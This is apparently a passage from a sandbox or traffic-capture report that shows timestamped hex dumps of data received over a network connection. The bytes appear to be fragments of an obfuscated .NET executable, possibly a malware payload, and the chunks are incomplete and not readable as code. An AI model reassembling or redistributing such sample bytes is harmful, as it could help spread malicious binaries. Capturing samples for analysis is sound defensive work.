Data Ascii: (f& $83(i5 "83(i (8 j(U (u:u&8k+(ZjXjX(U A(v9L&8B2-(l& 8,(' '(v9&8(U  853(j %8(h& 83(

2021-09-27 18:36:18 UTC 26 IN Data Raw: 00 00 28 76 05 00 06 39 7d ff ff ff 26 38 73 ff ff ff dd 88 00 00 00 26 20 00 00 00 00 28 75 05 00 06 3a 0a 00 00 
00 26 38 00 00 00 00 fe 0c 17 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd c3 00 00 00 20 03 00 00 00 38 7d f4 ff ff 
d0 43 00 00 02 28 4d 05 00 06 6f a3 00 00 0a 28 72 05 00 06 28 73 05 00 06 72 62 01 00 70 28 74 05 00 06 73 40 00 00 
0a 7a 16 13 2a 20 06 00 00 00 38 47 f4 ff ff 17 28 4c 05 00 06 20 13 00 00 00 28 76 05 00 06 39 32 f4 ff ff 26 38 28 f4 ff ff 
16 13 2a 20 10 00 00 00 28 76 05 00 06 39 1a f4 ff ff 26 38 10 f4 ff ff 11 2a 39 b9 ff ff ff 20 0c 00 00 00 28 76 05 00 06 39 
fe f3 ff ff 26 38 f4 f3 ff ff 11 2a 39 6f f5 ff ff 20 00 00 00 00 28 76 05 00 06 39 e2 f3 ff ff 26 38 d8 f3 ff ff 14 13 24 20 15 00 00 
00 28 75 05 00 06 3a ca f3 
Data Ascii: (v9}&8s& (u:&8E8 8}C(Mo(r(srbp(ts@z* 8G(L (v92&8(* (v9&8*9 (v9&8*9o (v9&8$ (u:
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2021-09-27 18:36:18 UTC 28 IN Data Raw: ac 19 00 00 8e 23 00 00 ea 0d 00 00 24 28 00 00 bd 15 00 00 e8 02 00 00 68 0c 00 00 fc 01 00 00 db 19 00 00 
87 13 00 00 c4 1f 00 00 93 19 00 00 db 27 00 00 75 05 00 00 f3 06 00 00 e0 22 00 00 b2 03 00 00 e9 25 00 00 21 27 00 
00 89 2b 00 00 6d 2b 00 00 cc 29 00 00 6a 1b 00 00 5b 1e 00 00 ea 11 00 00 c6 10 00 00 5c 05 00 00 1d 29 00 00 d5 08 
00 00 c0 12 00 00 bd 0a 00 00 fe 28 00 00 35 0d 00 00 43 0f 00 00 7d 1a 00 00 ca 1a 00 00 1c 04 00 00 cf 1b 00 00 6c 20 
00 00 8d 08 00 00 7d 28 00 00 3c 10 00 00 38 05 00 00 a2 2b 00 00 26 0f 00 00 42 1e 00 00 3a 2a 00 00 bd 07 00 00 48 2
0 00 00 76 19 00 00 34 04 00 00 e7 07 00 00 51 11 00 00 95 06 00 00 59 06 00 00 3c 28 00 00 69 0b 00 00 cd 1d 00 00 
61 15 00 00 74 0f 00 00 11 26 00 00 9f 22 00 00 b1 05 00 00 3c 16 00 
Data Ascii: #$(h'u"%!'+m+)j[\)(5C}l }(<8+&B:*H v4QY<(iat&"<

2021-09-27 18:36:18 UTC 29 IN Data Raw: 00 20 0f 00 00 00 20 25 00 00 00 20 54 00 00 00 58 9c 20 46 00 00 00 38 6e f6 ff ff fe 0c 0a 00 20 07 00 00 00 
fe 0c 21 00 9c 20 2f 00 00 00 28 76 05 00 06 39 51 f6 ff ff 26 38 47 f6 ff ff fe 0c 25 00 20 0a 00 00 00 fe 0c 31 00 9c 20 0d 
01 00 00 38 33 f6 ff ff 11 14 28 54 05 00 06 16 6a 28 55 05 00 06 20 63 00 00 00 28 76 05 00 06 39 16 f6 ff ff 26 38 0c f6 ff 
ff 20 f7 00 00 00 20 52 00 00 00 59 fe 0e 21 00 20 6a 00 00 00 28 75 05 00 06 3a f2 f5 ff ff 26 38 e8 f5 ff ff fe 0c 0a 00 20 1
0 00 00 00 20 b4 00 00 00 20 3c 00 00 00 59 9c 20 58 00 00 00 28 76 05 00 06 3a c8 f5 ff ff 26 20 2f 01 00 00 38 bd f5 ff ff 
fe 0c 0a 00 20 18 00 00 00 fe 0c 21 00 9c 20 b5 00 00 00 28 75 05 00 06 3a a0 f5 ff ff 26 38 96 f5 ff ff fe 0c 25 00 20 08 00 
00 00 fe 0c 31 00 9c 20 
Data Ascii:   % TX F8n ! /(v9Q&8G% 1 83(Tj(U c(v9&8  RY! j(u:&8   <Y X(v:& /8 ! (u:&8% 1 

2021-09-27 18:36:18 UTC 30 IN Data Raw: 3a 2c f1 ff ff 26 38 22 f1 ff ff fe 0c 0a 00 20 1f 00 00 00 20 63 00 00 00 20 3c 00 00 00 58 9c 20 de 00 00 00 fe 
0e 16 00 38 ff f0 ff ff 20 85 00 00 00 20 3f 00 00 00 59 fe 0e 21 00 20 02 00 00 00 38 ea f0 ff ff fe 0c 0a 00 20 12 00 00 00 
fe 0c 21 00 9c 20 41 01 00 00 38 d2 f0 ff ff 20 de 00 00 00 20 4a 00 00 00 59 fe 0e 21 00 20 72 00 00 00 38 b9 f0 ff ff fe 0c 
25 00 20 00 00 00 00 fe 0c 31 00 9c 20 24 01 00 00 38 a1 f0 ff ff fe 0c 25 00 20 0c 00 00 00 20 f5 00 00 00 20 51 00 00 00 
59 9c 20 49 00 00 00 38 82 f0 ff ff fe 0c 0a 00 20 19 00 00 00 fe 0c 21 00 9c 20 5e 00 00 00 38 6a f0 ff ff 20 0a 00 00 00 20 
32 00 00 00 58 fe 0e 21 00 20 44 01 00 00 38 51 f0 ff ff 20 5c 00 00 00 20 70 00 00 00 58 fe 0e 31 00 20 bd 00 00 00 28 
75 05 00 06 3a 33 f0 ff ff 26 
Data Ascii: :,&8"  c <X 8  ?Y! 8 ! A8  JY! r8% 1 $8%   QY I8 ! ^8j  2X! D8Q \ pX1 (u:3&

2021-09-27 18:36:18 UTC 32 IN Data Raw: ff fe 0c 25 00 20 0f 00 00 00 20 e8 00 00 00 20 4d 00 00 00 59 9c 20 86 00 00 00 28 76 05 00 06 39 b3 eb ff ff 
26 20 28 00 00 00 38 a8 eb ff ff 20 1e 00 00 00 20 02 00 00 00 59 fe 0e 31 00 20 d7 00 00 00 38 8f eb ff ff fe 0c 25 00 20 
09 00 00 00 20 47 00 00 00 20 07 00 00 00 58 9c 20 1f 00 00 00 38 70 eb ff ff fe 0c 0a 00 20 16 00 00 00 20 e0 00 00 00 
20 4a 00 00 00 59 9c 20 a7 00 00 00 28 76 05 00 06 3a 4c eb ff ff 26 20 32 01 00 00 38 41 eb ff ff 20 c7 00 00 00 20 42 00 
00 00 59 fe 0e 21 00 20 59 00 00 00 fe 0e 16 00 38 20 eb ff ff 20 1d 00 00 00 20 64 00 00 00 58 fe 0e 21 00 20 98 00 00 
00 38 0b eb ff ff fe 0c 0a 00 20 03 00 00 00 fe 0c 21 00 9c 20 b9 00 00 00 38 f3 ea ff ff 20 f7 00 00 00 20 52 00 00 00 59 fe 
0e 21 00 20 29 01 00 00 38 da ea ff ff fe 
Data Ascii: %   MY (v9& (8  Y1 8%  G X 8p   JY (v:L& 28A  BY! Y8   dX! 8 ! 8  RY! )8

2021-09-27 18:36:18 UTC 33 IN Data Raw: 20 e0 00 00 00 20 4a 00 00 00 59 9c 20 97 00 00 00 38 c1 e6 ff ff fe 0c 0a 00 20 06 00 00 00 fe 0c 21 00 9c 20 
c9 00 00 00 38 a9 e6 ff ff fe 0c 25 00 13 23 20 05 00 00 00 28 76 05 00 06 39 94 e6 ff ff 26 38 8a e6 ff ff fe 0c 25 00 20 07 
00 00 00 fe 0c 31 00 9c 20 0b 00 00 00 28 76 05 00 06 39 71 e6 ff ff 26 20 06 00 00 00 38 66 e6 ff ff 20 10 00 00 00 8d 2d 
00 00 01 fe 0e 25 00 20 e8 00 00 00 38 4e e6 ff ff fe 0c 25 00 20 0a 00 00 00 fe 0c 31 00 9c 20 79 00 00 00 28 76 05 00 06 
39 31 e6 ff ff 26 38 27 e6 ff ff fe 0c 0a 00 20 05 00 00 00 fe 0c 21 00 9c 20 4b 00 00 00 28 76 05 00 06 39 0e e6 ff ff 26 38 
04 e6 ff ff fe 0c 25 00 20 0e 00 00 00 fe 0c 31 00 9c 20 54 00 00 00 28 76 05 00 06 39 eb e5 ff ff 26 20 37 00 00 00 38 e0 
e5 ff ff 20 79 00 00 00 20 74 00 
Data Ascii:   JY 8 ! 8%# (v9&8% 1 (v9q& 8f -% 8N% 1 y(v91&8' ! K(v9&8% 1 T(v9& 78 y t

2021-09-27 18:36:18 UTC 34 IN Data Raw: 9c 20 b4 00 00 00 fe 0e 16 00 38 6b e1 ff ff fe 0c 0a 00 20 1c 00 00 00 fe 0c 21 00 9c 20 51 00 00 00 28 75 05 
00 06 39 52 e1 ff ff 26 20 ad 00 00 00 38 47 e1 ff ff 11 02 11 1e 11 23 28 5a 05 00 06 13 30 20 4a 01 00 00 28 76 05 00 06 
39 2b e1 ff ff 26 38 21 e1 ff ff fe 0c 0a 00 20 1b 00 00 00 fe 0c 21 00 9c 20 20 01 00 00 fe 0e 16 00 38 05 e1 ff ff fe 0c 0a 
00 20 09 00 00 00 fe 0c 21 00 9c 20 da 00 00 00 38 f1 e0 ff ff 20 a7 00 00 00 20 37 00 00 00 59 fe 0e 31 00 20 70 00 00 00 
fe 0e 16 00 38 d0 e0 ff ff 20 a7 00 00 00 20 37 00 00 00 59 fe 0e 31 00 20 9d 00 00 00 38 bb e0 ff ff fe 0c 25 00 20 02 00 
00 00 20 3f 00 00 00 20 57 00 00 00 58 9c 20 3c 00 00 00 28 76 05 00 06 3a 97 e0 ff ff 26 20 d9 00 00 00 38 8c e0 ff ff fe 0
c 0a 00 20 10 00 00 00 20 5e 00 00 
Data Ascii:  8k ! Q(u9R& 8G#(Z0 J(v9+&8! !  8 ! 8  7Y1 p8  7Y1 8%  ? WX <(v:& 8  ^

2021-09-27 18:36:18 UTC 36 IN Data Raw: 20 eb 00 00 00 20 4e 00 00 00 59 fe 0e 21 00 20 a8 00 00 00 38 0c dc ff ff fe 0c 25 00 20 0d 00 00 00 fe 0c 31 
00 9c 20 53 00 00 00 28 75 05 00 06 3a ef db ff ff 26 20 02 00 00 00 38 e4 db ff ff 20 7c 00 00 00 20 36 00 00 00 58 fe 0e 
21 00 20 bc 00 00 00 28 76 05 00 06 3a c6 db ff ff 26 20 e3 00 00 00 38 bb db ff ff 20 02 00 00 00 20 57 00 00 00 58 fe 0e 
21 00 20 66 00 00 00 28 76 05 00 06 39 9d db ff ff 26 38 93 db ff ff fe 0c 0a 00 20 18 00 00 00 fe 0c 21 00 9c 20 c6 00 00 
00 38 7f db ff ff 20 ae 00 00 00 20 3a 00 00 00 59 fe 0e 21 00 20 e7 00 00 00 28 76 05 00 06 39 61 db ff ff 26 20 5a 00 00 
00 38 56 db ff ff 20 24 00 00 00 20 0c 00 00 00 58 fe 0e 31 00 20 2a 00 00 00 38 3d db ff ff 20 65 00 00 00 20 24 00 00 00 
58 fe 0e 21 00 20 42 00 00 00 38 24 db 
Data Ascii:   NY! 8% 1 S(u:& 8 | 6X! (v:& 8  WX! f(v9&8 ! 8  :Y! (v9a& Z8V $ X1 *8= e $X! B8$

2021-09-27 18:36:18 UTC 37 IN Data Raw: 00 20 09 00 00 00 58 9c 20 c8 00 00 00 fe 0e 16 00 38 b2 d6 ff ff fe 0c 0a 00 20 10 00 00 00 20 ed 00 00 00 20 
4f 00 00 00 59 9c 20 4a 00 00 00 28 75 05 00 06 39 92 d6 ff ff 26 20 5c 00 00 00 38 87 d6 ff ff 20 80 00 00 00 20 2a 00 00 
00 59 fe 0e 21 00 20 91 00 00 00 38 6e d6 ff ff fe 0c 0a 00 20 15 00 00 00 20 7d 00 00 00 20 29 00 00 00 59 9c 20 07 01 
00 00 38 4f d6 ff ff fe 0c 25 00 20 02 00 00 00 20 aa 00 00 00 20 38 00 00 00 59 9c 20 06 01 00 00 28 76 05 00 06 39 2b 
d6 ff ff 26 38 21 d6 ff ff 20 f7 00 00 00 20 52 00 00 00 59 fe 0e 31 00 20 6b 00 00 00 38 0c d6 ff ff fe 0c 0a 00 20 13 00 00 
00 fe 0c 21 00 9c 20 61 00 00 00 fe 0e 16 00 38 ec d5 ff ff 20 77 00 00 00 20 4a 00 00 00 58 fe 0e 21 00 20 96 00 00 00 38 
d7 d5 ff ff fe 0c 0a 00 20 02 00 00 00 20 
Data Ascii:  X 8   OY J(u9& \8  *Y! 8n  } )Y 8O%   8Y (v9+&8!  RY1 k8 ! a8 w JX! 8  

2021-09-27 18:36:18 UTC 38 IN Data Raw: 6f d1 ff ff 26 38 65 d1 ff ff fe 0c 25 00 20 00 00 00 00 20 7a 00 00 00 20 2c 00 00 00 58 9c 20 8c 00 00 00 38 4a 
d1 ff ff fe 0c 0a 00 20 02 00 00 00 fe 0c 21 00 9c 20 ef 00 00 00 38 32 d1 ff ff fe 0c 0a 00 20 12 00 00 00 fe 0c 21 00 9c 20 
0f 01 00 00 38 1a d1 ff ff fe 0c 0a 00 20 1d 00 00 00 fe 0c 21 00 9c 20 b7 00 00 00 28 75 05 00 06 3a fd d0 ff ff 26 20 32 00 
00 00 38 f2 d0 ff ff fe 0c 0a 00 20 08 00 00 00 fe 0c 21 00 9c 20 c2 00 00 00 28 76 05 00 06 39 d5 d0 ff ff 26 20 bb 00 00 0
0 38 ca d0 ff ff fe 0c 0a 00 20 0f 00 00 00 20 1e 00 00 00 20 5b 00 00 00 58 9c 20 9b 00 00 00 28 76 05 00 06 39 a6 d0 ff ff 
26 20 37 00 00 00 38 9b d0 ff ff 20 29 00 00 00 20 26 00 00 00 58 fe 0e 21 00 20 1a 00 00 00 38 82 d0 ff ff 20 98 00 00 00 
20 32 00 00 00 59 fe 0e 21 
Data Ascii: o&8e%  z ,X 8J ! 82 ! 8 ! (u:& 28 ! (v9& 8   [X (v9& 78 ) &X! 8  2Y!

2021-09-27 18:36:18 UTC 40 IN Data Raw: 0a 69 6f bf 00 00 0a 0d 08 6f c0 00 00 0a 09 8e 69 16 3e 81 03 00 00 09 8e 69 1a 5d 13 04 09 8e 69 1a 5b 13 
05 09 8e 69 8d 2d 00 00 01 13 06 16 13 07 16 13 08 11 04 16 3e 06 00 00 00 11 05 17 58 13 05 16 13 09 16 13 0a 38 ed 
02 00 00 11 0a 1a 5a 13 0b 20 ff 00 00 00 13 0c 16 13 0d 11 0a 11 05 17 59 40 44 00 00 00 11 04 16 3e 3c 00 00 00 16 
13 08 16 13 0e 38 23 00 00 00 11 0e 16 3e 06 00 00 00 11 08 1e 62 13 08 11 08 09 09 8e 69 17 11 0e 58 59 91 60 13 08 
11 0e 17 58 13 0e 11 0e 11 04 3f d4 ff ff ff 38 2b 00 00 00 11 0b 13 09 09 11 09 19 58 e0 91 1f 18 62 09 11 09 18 58 e0 91 
1f 10 62 60 09 11 09 17 58 e0 91 1e 62 60 09 11 09 e0 91 60 13 08 11 07 13 07 11 07 11 07 20 20 97 58 46 fe 0e 28 00 fe 
0e 29 00 20 f6 b2 4c 5e fe 0e 2a 00 20 96 87 58 0c fe 0e 2b 00 
Data Ascii: iooi>i]i[i->X8Z Y@D><8#>biXY`X?8+XbXb`Xb``  XF() L^* X+
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2021-09-27 18:36:18 UTC 41 IN Data Raw: 00 11 24 7e d6 00 00 0a 11 25 6f d7 00 00 0a 11 25 17 58 13 25 11 25 11 20 3f 7f ff ff ff 11 24 7e d8 00 00 0a 
6f d4 00 00 0a 11 24 11 1d 3a 0a 00 00 00 7e 73 00 00 0a 38 05 00 00 00 7e 6b 00 00 0a 11 1e 6f d9 00 00 0a 11 24 7e 
67 00 00 0a 6f d4 00 00 0a 11 1a 14 11 23 06 6f da 00 00 0a 6f cc 00 00 0a 11 19 17 58 13 19 11 19 11 18 8e 69 3f f8 fd ff 
ff dd 06 00 00 00 26 dd 00 00 00 00 2a 41 34 00 00 02 00 00 00 14 00 00 00 f4 03 00 00 08 04 00 00 0f 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 39 06 00 00 39 06 00 00 06 00 00 00 1b 00 00 01 5a 28 db 00 00 0a 39 0b 00 00 00 72 16 02 
00 70 73 40 00 00 0a 7a 2a 00 13 30 04 00 34 00 00 00 59 00 00 11 20 02 00 00 00 8d 16 00 00 01 0a 06 20 00 00 00 00 
fe 09 00 00 a2 06 20 01 00 00 00 fe 09 01 00 8c 0f 00 00 01 
Data Ascii: $~%o%X%% ?$~o$:~s8~ko$~go#ooXi?&*A499Z(9rps@z*04Y   

2021-09-27 18:36:18 UTC 42 IN Data Raw: 46 13 00 00 64 28 00 00 e9 18 00 00 b6 0a 00 00 da 55 00 00 71 39 00 00 64 2e 00 00 5d 0a 00 00 f9 52 00 00 
89 18 00 00 3c 1d 00 00 e0 23 00 00 78 44 00 00 1c 53 00 00 38 09 00 00 b5 1a 00 00 3a 3f 00 00 b3 38 00 00 fd 25 00 00 
5b 3a 00 00 72 24 00 00 43 01 00 00 43 2f 00 00 4e 14 00 00 eb 41 00 00 20 12 00 00 1b 3f 00 00 c4 0f 00 00 10 3f 00 00 
7d 14 00 00 5d 3b 00 00 d0 08 00 00 41 45 00 00 aa 1f 00 00 1b 0c 00 00 a1 37 00 00 4e 55 00 00 12 15 00 00 1c 4a 00 
00 cf 32 00 00 ec 48 00 00 f8 1d 00 00 c5 03 00 00 99 09 00 00 f5 36 00 00 ff 50 00 00 4e 20 00 00 c0 51 00 00 97 15 00 
00 84 29 00 00 7d 53 00 00 2b 0c 00 00 b7 39 00 00 11 0b 00 00 19 3a 00 00 76 52 00 00 2e 05 00 00 85 22 00 00 37 4c 
00 00 ab 0c 00 00 29 1e 00 00 f8 0a 00 00 a8 00 00 00 fc 07 00 
Data Ascii: Fd(Uq9d.]R<#xDS8:?8%[:r$CC/NA ??}];AE7NUJ2H6PN Q)}S+9:vR."7L)

2021-09-27 18:36:18 UTC 44 IN Data Raw: 18 00 00 e2 1c 00 00 69 45 00 00 3e 16 00 00 e1 53 00 00 2b 44 00 00 86 3d 00 00 07 10 00 00 53 3f 00 00 05 
00 00 00 1a 52 00 00 8c 3b 00 00 c2 17 00 00 e1 3d 00 00 79 33 00 00 86 4b 00 00 3b 0b 00 00 64 3f 00 00 24 25 00 00 ef 
2f 00 00 87 57 00 00 e0 46 00 00 9d 4c 00 00 8c 56 00 00 b5 4c 00 00 46 31 00 00 bc 09 00 00 7f 0b 00 00 ca 54 00 00 b0 
3d 00 00 75 10 00 00 f6 39 00 00 0b 49 00 00 a6 31 00 00 12 45 00 00 46 36 00 00 ef 05 00 00 29 39 00 00 b2 4a 00 00 
8d 1f 00 00 8e 23 00 00 14 10 00 00 d3 22 00 00 36 56 00 00 3f 4b 00 00 1a 19 00 00 57 3d 00 00 d3 13 00 00 73 30 00 
00 b1 04 00 00 bf 2e 00 00 d8 21 00 00 bd 24 00 00 5a 4a 00 00 1c 09 00 00 e9 09 00 00 92 47 00 00 19 54 00 00 cb 23 0
0 00 82 51 00 00 bc 47 00 00 a4 48 00 00 58 06 00 00 01 11 00 00 
Data Ascii: iE>S+D=S?R;=y3K;d?$%/WFLVLF1T=u9I1EF6)9J#"6V?KW=s0.!$ZJGT#QGHX

2021-09-27 18:36:18 UTC 45 IN Data Raw: ff ff 11 4b 16 11 4b 8e 69 28 a1 05 00 06 20 10 00 00 00 28 d1 05 00 06 39 58 f4 ff ff 26 20 ad 00 00 00 38 4d 
f4 ff ff 11 47 17 28 81 05 00 06 28 af 05 00 06 28 b0 05 00 06 13 3a 20 27 00 00 00 28 d1 05 00 06 3a 2a f4 ff ff 26 38 20 
f4 ff ff fe 0c 04 00 20 06 00 00 00 fe 0c 79 00 9c 20 85 02 00 00 fe 0e 21 00 38 04 f4 ff ff 20 69 00 00 00 20 25 00 00 00 58 
fe 0e 00 00 20 c9 01 00 00 28 d1 05 00 06 3a ea f3 ff ff 26 38 e0 f3 ff ff fe 0c 0a 00 20 1e 00 00 00 20 8f 00 00 00 20 2f 00 
00 00 59 9c 20 31 00 00 00 28 d1 05 00 06 3a c0 f3 ff ff 26 38 b6 f3 ff ff fe 0c 04 00 20 06 00 00 00 fe 0c 79 00 9c 20 f2 00 
00 00 38 a2 f3 ff ff 11 4e 13 62 20 1e 02 00 00 28 d2 05 00 06 39 8f f3 ff ff 26 38 85 f3 ff ff 20 e8 00 00 00 20 4d 00 00 00 
59 fe 0e 00 00 20 60 00 00 
Data Ascii: KKi( (9X& 8MG(((: '(:*&8  y !8 i %X (:&8   /Y 1(:&8 y 8Nb (9&8  MY `

2021-09-27 18:36:18 UTC 46 IN Data Raw: 5f 00 00 00 28 d2 05 00 06 39 0e ef ff ff 26 38 04 ef ff ff 11 71 11 20 18 58 11 5c 18 91 9c 20 68 02 00 00 38 f3 
ee ff ff fe 0c 0a 00 20 0b 00 00 00 fe 0c 00 00 9c 20 31 01 00 00 38 db ee ff ff 38 9f 09 00 00 20 de 00 00 00 28 d2 05 00 
06 39 c7 ee ff ff 26 38 bd ee ff ff fe 0c 04 00 20 00 00 00 00 fe 0c 79 00 9c 20 24 02 00 00 38 a9 ee ff ff 7e 2d 00 00 0a 13 
3a 20 9a 02 00 00 38 98 ee ff ff 11 33 19 1f 6a 9c 20 4c 01 00 00 38 88 ee ff ff 11 71 11 20 1c 58 11 0e 1c 91 9c 20 1c 01 
00 00 28 d1 05 00 06 3a 6e ee ff ff 26 38 64 ee ff ff 38 ee 32 00 00 20 b8 00 00 00 38 59 ee ff ff fe 0c 0a 00 20 10 00 00 00 
20 a5 00 00 00 20 34 00 00 00 58 9c 20 79 02 00 00 28 d2 05 00 06 39 35 ee ff ff 26 20 08 01 00 00 38 2a ee ff ff 11 2c 73 
43 00 00 0a 28 be 05 00 06 13 
Data Ascii: _(9&8q X\ h8  188 (9&8 y $8~-: 83j L8q X (:n&8d82 8Y   4X y(95& 8*,sC(

2021-09-27 18:36:18 UTC 48 IN Data Raw: 01 fe 0e 04 00 20 09 02 00 00 38 b4 e9 ff ff 20 5b 00 00 00 20 0f 00 00 00 58 fe 0e 00 00 20 82 00 00 00 28 d1 
05 00 06 3a 96 e9 ff ff 26 38 8c e9 ff ff fe 0c 04 00 20 01 00 00 00 20 a5 00 00 00 20 37 00 00 00 59 9c 20 22 00 00 00 38 
71 e9 ff ff 11 1d 17 40 49 23 00 00 20 4f 01 00 00 38 5f e9 ff ff fe 0c 0a 00 20 03 00 00 00 20 32 00 00 00 20 04 00 00 00 
58 9c 20 bf 01 00 00 28 d1 05 00 06 39 3b e9 ff ff 26 20 d0 01 00 00 38 30 e9 ff ff 11 83 1a 1f 69 9c 20 9c 00 00 00 38 20 
e9 ff ff fe 0c 0a 00 20 1d 00 00 00 20 2c 00 00 00 20 66 00 00 00 58 9c 20 58 01 00 00 38 01 e9 ff ff 11 77 17 58 13 77 20 
38 01 00 00 38 f1 e8 ff ff 11 71 11 20 1d 58 11 5c 1d 91 9c 20 77 02 00 00 28 d2 05 00 06 39 d7 e8 ff ff 26 38 cd e8 ff ff 28 
81 05 00 06 28 82 05 00 06 28 83 05 
Data Ascii:  8 [ X (:&8   7Y "8q@I# O8_  2 X (9;& 80i 8   , fX X8wXw 88q X\ w(9&8(((

2021-09-27 18:36:18 UTC 49 IN Data Raw: 00 58 9c 20 b7 01 00 00 38 5d e4 ff ff 38 92 18 00 00 20 81 00 00 00 fe 0e 21 00 38 46 e4 ff ff fe 0c 0a 00 20 1b 
00 00 00 fe 0c 00 00 9c 20 d0 00 00 00 28 d1 05 00 06 3a 2d e4 ff ff 26 38 23 e4 ff ff fe 0c 04 00 20 05 00 00 00 fe 0c 79 
00 9c 20 ce 01 00 00 28 d2 05 00 06 39 0a e4 ff ff 26 38 00 e4 ff ff 20 20 00 00 00 20 03 00 00 00 58 fe 0e 00 00 20 8e 00 
00 00 fe 0e 21 00 38 e3 e3 ff ff 38 99 06 00 00 20 df 01 00 00 38 d8 e3 ff ff 7e db 00 00 04 28 c3 05 00 06 28 cc 05 00 06 
28 cd 05 00 06 20 81 00 00 00 28 d2 05 00 06 3a b5 e3 ff ff 26 20 a5 01 00 00 38 aa e3 ff ff 20 05 00 00 00 20 3b 00 00 00 
58 fe 0e 79 00 20 7f 01 00 00 38 91 e3 ff ff fe 0c 0a 00 20 1e 00 00 00 20 5e 00 00 00 20 72 00 00 00 58 9c 20 48 02 00 00 
28 d2 05 00 06 39 6d e3 ff ff 26 20 
Data Ascii: X 8]8 !8F  (:-&8# y (9&8   X !88 8~((( (:& 8  ;Xy 8  ^ rX H(9m& 

2021-09-27 18:36:18 UTC 50 IN Data Raw: 0d df ff ff fe 0c 0a 00 20 14 00 00 00 fe 0c 00 00 9c 20 43 00 00 00 38 f5 de ff ff 20 5b 00 00 00 20 59 00 00 00 
58 fe 0e 00 00 20 30 00 00 00 38 dc de ff ff fe 0c 04 00 20 0d 00 00 00 20 48 00 00 00 20 75 00 00 00 58 9c 20 1a 01 00 
00 38 bd de ff ff 20 fd 00 00 00 20 54 00 00 00 59 fe 0e 79 00 20 a2 00 00 00 38 a4 de ff ff 11 77 11 64 3f 8d 0d 00 00 20 
13 00 00 00 28 d2 05 00 06 3a 8c de ff ff 26 20 17 00 00 00 38 81 de ff ff fe 0c 0a 00 20 01 00 00 00 20 f7 00 00 00 20 52 
00 00 00 59 9c 20 b9 01 00 00 28 d1 05 00 06 3a 5d de ff ff 26 38 53 de ff ff 11 2c 73 43 00 00 0a 28 bd 05 00 06 6a 13 5a 
20 fc 00 00 00 38 3e de ff ff 11 76 28 a6 05 00 06 13 61 20 36 00 00 00 28 d1 05 00 06 3a 26 de ff ff 26 38 1c de ff ff 16 13 
68 20 0f 02 00 00 28 d1 05 00 06 3a 
Data Ascii:   C8 [ YX 08  H uX 8  TYy 8wd? (:& 8   RY (:]&8S,sC(jZ 8>v(a 6(:&&8h (:

2021-09-27 18:36:18 UTC 52 IN Data Raw: 00 00 38 b1 d9 ff ff fe 0c 04 00 20 06 00 00 00 20 31 00 00 00 20 5e 00 00 00 58 9c 20 c7 00 00 00 38 92 d9 ff 
ff 20 9e 00 00 00 20 34 00 00 00 59 fe 0e 79 00 20 3f 02 00 00 28 d2 05 00 06 39 74 d9 ff ff 26 20 b6 00 00 00 38 69 d9 ff 
ff 11 33 1f 0a 1f 6c 9c 20 82 02 00 00 38 58 d9 ff ff 12 3e 28 f4 00 00 0a 11 18 1a 5a 6a 58 73 43 00 00 0a 11 76 28 a6 05 
00 06 28 b3 05 00 06 20 2a 02 00 00 38 30 d9 ff ff 7e da 00 00 04 28 9f 05 00 06 28 a0 05 00 06 13 1f 20 3b 00 00 00 28 
d1 05 00 06 3a 10 d9 ff ff 26 38 06 d9 ff ff 20 bd 00 00 00 20 1b 00 00 00 58 fe 0e 00 00 20 2f 02 00 00 28 d2 05 00 06 39 
ec d8 ff ff 26 38 e2 d8 ff ff fe 0c 04 00 20 00 00 00 00 20 07 00 00 00 20 7c 00 00 00 58 9c 20 59 01 00 00 38 c7 d8 ff ff 11 
4e 11 0d 19 58 11 36 20 00 00 00 ff 5f 
Data Ascii: 8  1 ^X 8  4Yy ?(9t& 8i3l 8X>(ZjXsCv(( *80~(( ;(:&8  X /(9&8   |X Y8NX6 _

2021-09-27 18:36:18 UTC 53 IN Data Raw: 00 45 02 00 00 00 cf 00 00 00 05 00 00 00 38 ca 00 00 00 00 11 5a 73 43 00 00 0a d0 48 00 00 02 28 b6 05 00 
06 28 bb 05 00 06 13 6d 20 00 00 00 00 28 d1 05 00 06 39 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 57 00 45 
02 00 00 00 3a 00 00 00 05 00 00 00 38 35 00 00 00 d0 48 00 00 02 28 b6 05 00 06 11 6d 28 c3 05 00 06 28 c4 05 00 06 
74 48 00 00 02 80 db 00 00 04 20 00 00 00 00 28 d2 05 00 06 39 bf ff ff ff 26 38 b5 ff ff ff dd 47 00 00 00 26 20 00 00 00 00 
28 d2 05 00 06 39 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 50 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 
15 00 00 00 20 00 00 00 00 28 d2 05 00 06 39 2a ff ff ff 26 38 20 ff ff ff dd 73 24 00 00 20 a7 02 00 00 38 73 d3 ff ff 16 13 
3c 20 d2 01 00 00 38 66 d3 ff ff fe 0c 0a 00 20 13 
Data Ascii: E8ZsCH((m (9& 8WE:85H(m((tH (9&8G& (9& 8PE8 (9*&8 s$ 8s< 8f 
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2021-09-27 18:36:18 UTC 57 IN Data Raw: ff ff fe 0c 04 00 20 0c 00 00 00 fe 0c 79 00 9c 20 7c 02 00 00 28 d1 05 00 06 3a bb c3 ff ff 26 38 b1 c3 ff ff fe 0c 
04 00 13 4b 20 31 02 00 00 38 a5 c3 ff ff 11 1d 1a 40 2c da ff ff 20 80 01 00 00 38 93 c3 ff ff fe 0c 04 00 20 03 00 00 00 fe 
0c 79 00 9c 20 9f 02 00 00 38 7b c3 ff ff fe 0c 0a 00 20 15 00 00 00 fe 0c 00 00 9c 20 e1 01 00 00 38 63 c3 ff ff fe 0c 0a 00 
20 18 00 00 00 20 7d 00 00 00 20 1a 00 00 00 59 9c 20 f1 00 00 00 28 d1 05 00 06 3a 3f c3 ff ff 26 38 35 c3 ff ff 20 3b 00 
00 00 20 46 00 00 00 58 fe 0e 79 00 20 3e 00 00 00 38 20 c3 ff ff fe 0c 0a 00 20 03 00 00 00 20 ba 00 00 00 20 4c 00 00 
00 59 9c 20 5f 02 00 00 28 d1 05 00 06 39 fc c2 ff ff 26 20 66 02 00 00 38 f1 c2 ff ff 7e db 00 00 04 28 cb 05 00 06 20 06 
01 00 00 28 d1 05 00 06 3a d8 
Data Ascii:  y |(:&8K 18@, 8 y 8{  8c  } Y (:?&85 ; FXy >8    LY _(9& f8~( (:

2021-09-27 18:36:18 UTC 61 IN Data Raw: 00 00 9c 20 0e 00 00 00 fe 0e 21 00 38 40 b3 ff ff 20 76 00 00 00 20 5f 00 00 00 58 fe 0e 00 00 20 25 00 00 00 
